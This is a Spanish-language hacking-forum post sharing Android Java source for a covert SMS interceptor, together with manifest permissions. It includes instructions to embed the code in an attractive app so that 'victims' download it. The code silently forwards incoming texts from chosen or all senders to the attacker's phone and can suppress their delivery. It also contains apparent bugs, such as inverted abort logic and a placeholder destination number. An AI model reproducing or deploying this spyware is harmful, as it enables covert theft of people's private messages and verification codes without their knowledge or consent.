Test Foro de elhacker.net SMF 2.1

Programación => Programación General => Java => Mensaje iniciado por: TickTack en 19 Agosto 2019, 11:28 AM

Título: Interceptador de SMS
Publicado por: TickTack en 19 Agosto 2019, 11:28 AM
Hola a todos,

aquí hay un interceptor de SMS que se escribió para un miembro de un foro por el 2011, pensé que seguiría adelante y lo liberaría públicamente ya que la sección de Java a veces es aburrida como Clay Davis.

Lo que esto hace:

Cosas a tener en cuenta:

Ahora bien, aquí está el código fuente.
SmsReceiver.java

//Author: MrZander

import java.util.Arrays;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsReceiver extends BroadcastReceiver {

   // CONFIGURATION //

   // Esto cancelará la transmisión del SMS recibido.
   // Si esto es true, la víctima NO recibirá el mensaje que se le envía.    
   boolean abortarTM = true;

   // Si se debe interceptar o no TODOS los mensajes.    
   boolean interceptarTodos = false;

   // si interceptarTodos está apagado, esta es la matriz de números que serán interceptados.
   String[] numeros = {"5551234567","5551234655"};

   // Estos son los números de celulares a los que se ENVIARÁN los mensajes. (Su celular).
   String redireccionarCelular = "1235558765";

   // En emisión recibida. Mensaje SMS entrante.
   public void onReceive(Context context, Intent intento) {

 Bundle extras = intento.getExtras();
 String mensajes = "";

 // Se utiliza para determinar si un mensaje debe ser redirigido o no.
 boolean esDeEspia = false;

 if ( extras != null ) {
   Object[] smsExtra = (Object[]) extras.get("pdus"); //" Unidades de descripción de protocolo "
   for ( int i = 0; i < smsExtra.length; ++i ) { // Recorrer todos los mensajes (si se divide).

       // Recibe el mensaje de las UDP
   SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);

   // Si interceptarTodos es verdadero o el número de teléfono está en la matriz de números para interceptar.
   if(interceptarTodos||Arrays.asList(numeros).contains(sms.getDisplayOriginatingAddress())){
 // Si el mensaje se disecciona en múltiples, concatenar.
   mensajes+=sms.getMessageBody()+"\n";

   // Este mensaje es de la víctima, redirigir.
   esDeEspia=true;

   //Abortar SMS.
   if(!abortarTM){
       abortBroadcast();
   }

   }
   }

   // Redirigir mensaje si es de la víctima
   if(esDeEspia){
       enviarSms(mensajes,"TUNUMERO");
   }

 }
   }

   // Enviar SMS ... bastante sencillo
   public  void enviarSms(String mensaje, String numcelular){
 SmsManager gs = SmsManager.getDefault();
 try{
 gs.sendTextMessage(numcelular, null, mensaje, null, null);
 }catch(Exception ex){
     // Error, este mensaje se perderá ... Les sugiero que creen
     // un método para hacer una copia de seguridad de los mensajes en caso de error y que lo vuelvan a intentarlo más tarde.
 }
   }
}


Declaraciones para agregar a sus AndroidManifest.xml
Permisos:

<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />


Receptor de transmisión: (le permite a Android saber que vas a recibir mensajes SMS. Nota: la prioridad se establece muy alta para permitir que tu aplicación sea la primera en recibir un mensaje SMS.
<receiver android:name=".SmsReceiver" android:enabled="true">
   <intent-filter android:priority="1000">
   <action android:name="android.provider.Telephony.SMS_RECEIVED" />
   </intent-filter>
   </receiver>

Asegúrate de que si cambias "SmsReceiver.java a un nombre de clase diferente también tienes que cambiarlo en el manifiest. (Aunque no hay razón para cambiarlo).

Lo que tienes que hacer
1. Crea una aplicación que no sea Clay Davis para que la gente realmente la descargue.
2. Agrega la clase 'SmsReceiver' a tu proyecto. (Recomiendo NO renombrarlo).
3. Agrega las declaraciones de manifiest.

Estas listo. No se necesita un código de inicialización, todo se maneja en el Manifiesto.
Avísenme si hay algún problema/error. (Se agregó algunas características sin probar. No creo que sea muy retrasado. Debería ser bueno).
Que se diviertan.

Autor: MrZander

Saludos


PD.: Posteen códigos